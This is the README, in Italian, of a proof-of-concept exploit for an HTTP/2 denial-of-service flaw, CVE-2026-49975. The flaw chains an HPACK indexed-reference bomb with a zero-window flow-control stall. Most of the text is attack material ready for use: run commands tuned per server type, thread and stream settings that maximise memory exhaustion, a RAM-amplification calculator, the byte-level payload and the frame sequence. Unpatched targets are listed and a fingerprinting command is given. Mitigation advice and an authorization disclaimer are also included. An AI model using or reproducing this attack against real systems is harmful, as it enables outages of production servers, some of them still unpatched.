
Bomba PoC HTTP/2 — CVE-2026-49975 (bomba a riferimento indicizzato HPACK + stallo del controllo di flusso)
Exploit proof-of-concept per CVE-2026-49975, una vulnerabilità di denial-of-service remota nelle implementazioni del server HTTP/2. Scoperto da Quang Luong (Calif Security Research), divulgato il 2 giugno 2026.
Solo per test di sicurezza autorizzati. Non utilizzare contro infrastrutture che non possiedi o per le quali non hai autorizzazione scritta.
L'attacco incatena due meccanismi del protocollo HTTP/2:
1. Bomba di Riferimento Indicizzato HPACK
HPACK (RFC 7541) consente ai mittenti di fare riferimento a intestazioni già viste tramite indice — di solito un byte. L'exploit inserisce un'intestazione quasi vuota nella tabella dinamica una volta, poi la riferisce migliaia di volte. Ogni riferimento di 1 byte sul wire costringe il server ad allocare circa 70 byte di contabilità interna per ogni voce. Non sono coinvolti valori di grandi dimensioni, quindi i limiti di "dimensione massima dell'intestazione decodificata" non scattano mai.
2. Stallo della Finestra di Controllo del Flusso HTTP/2
Annunciando una finestra di ricezione di zero byte, l'attaccante impedisce al server di inviare la risposta o di liberare qualsiasi memoria. Frame periodici di 1 byte reimpostano il timeout di invio del server, mantenendo le allocazioni bloccate per tutta la durata della connessione.
WINDOW_UPDATERisultato: ~16 KB inviati per stream → ~1,15 MB di RAM del server allocati e mantenuti per stream.
| Server | Amplificazione | Impatto Demo | Stato |
|---|---|---|---|
| Envoy 1.37.2 | ~5.700:1 | 32 GB in ~10s | Nessuna patch al momento della divulgazione |
| Apache httpd 2.4.67 | ~4.000:1 | 32 GB in ~18s | Corretto in mod_http2 v2.0.41 |
| nginx < 1.29.8 | ~70:1 | 32 GB in ~45s | Corretto in nginx 1.29.8 |
| Microsoft IIS (WS 2025) | ~68:1 | 64 GB in ~45s | Nessuna patch al momento della divulgazione |
| Cloudflare Pingora | ~68:1 | — | Nessuna patch al momento della divulgazione |
Nessuna dipendenza — solo stdlib.
# Test di base (connessione singola)
python3 exploit-test.py target.com 443
# Bomba di contabilità specifica per nginx (consigliata per target nginx)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
# Tecnica cookie-crumb per Apache/Envoy
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
# HTTP/2 in chiaro (raro — la maggior parte dei server richiede TLS per h2)
python3 exploit-test.py target.com 80 --no-ssl
| Flag | Default | Descrizione |
|---|---|---|
target | — | Nome host o IP |
port | 443 | Porta TCP |
--threads | 1 | Connessioni parallele (ognuna si riconnette alla chiusura) |
--streams | 10 | Stream HTTP/2 per connessione |
--headers | 5000 | Riferimenti indicizzati HPACK per stream |
--mode | nginx | nginx (contabilità, 70:1) o classic (valore grande, 4000:1) |
--no-ssl | off | Disabilita TLS (h2c) |
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²
# esempio nginx: 50 × 30 × 16374 × 70 / 1024² = ~1.647 MB
| Target | Modalità | --headers | Note |
|---|---|---|---|
| nginx < 1.29.8 | nginx | 16374 | Rimane entro il default http2_max_header_size 16k |
| Apache httpd | classic | 5000 | Tecnica cookie-crumb |
| Envoy | classic | 32000 | Alta amplificazione |
# Conferma il supporto HTTP/2 e la versione del server
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"
# Vulnerabile se:
# - ALPN: server accepted h2 (HTTP/2 abilitato)
# - server: nginx/X.Y.Z (dove X.Y.Z < 1.29.8)
nginx — aggiornare a 1.29.8+ e aggiungere:
http2 max_headers 1000;
Oppure disabilitare completamente HTTP/2:
# Rimuovere "http2" dalla direttiva listen
listen 443 ssl;
Apache httpd — aggiornare mod_http2 alla v2.0.41+. In attesa: Protocols http/1.1
IIS / Envoy / Pingora — nessuna patch disponibile al momento della scrittura. Disabilitare HTTP/2 o mettere davanti un proxy corretto.
Generale (tutti i server):
# Limitare la memoria del worker per limitare il raggio d'esplosione
ulimit -v 2097152 # 2 GB per processo
# Docker: --memory="2g" --memory-swap="2g"
Seme tabella dinamica (indicizzazione incrementale, aggiunge all'indice 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00
Riferimento indicizzato alla voce 62 (1 byte ciascuno):
0x80 | 62 = 0xbe
Payload sul wire per stream = 9 byte (seme) + N byte (N riferimenti)
Allocazione del server per rif. ≈ sizeof(ngx_table_elt_t) ≈ 70 byte
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (prefazione)
SETTINGS [INITIAL_WINDOW_SIZE=0] (impostazione stallo)
SETTINGS ACK (dopo aver letto i SETTINGS del server)
HEADERS [stream 1] ← carico bomba (pseudo-intestazioni + bomba HPACK)
HEADERS [stream 3] ← carico bomba
...
WINDOW_UPDATE(1) per stream / 1s (stallo keep-alive)
| File | Descrizione |
|---|---|
exploit-test.py | PoC principale — multi-stream, riconnessione continua, modalità nginx + classica |
SECURITY-REPORT-MIST.md | Rapporto di valutazione autorizzato per mist.ac.bd |
LICENSE | MIT |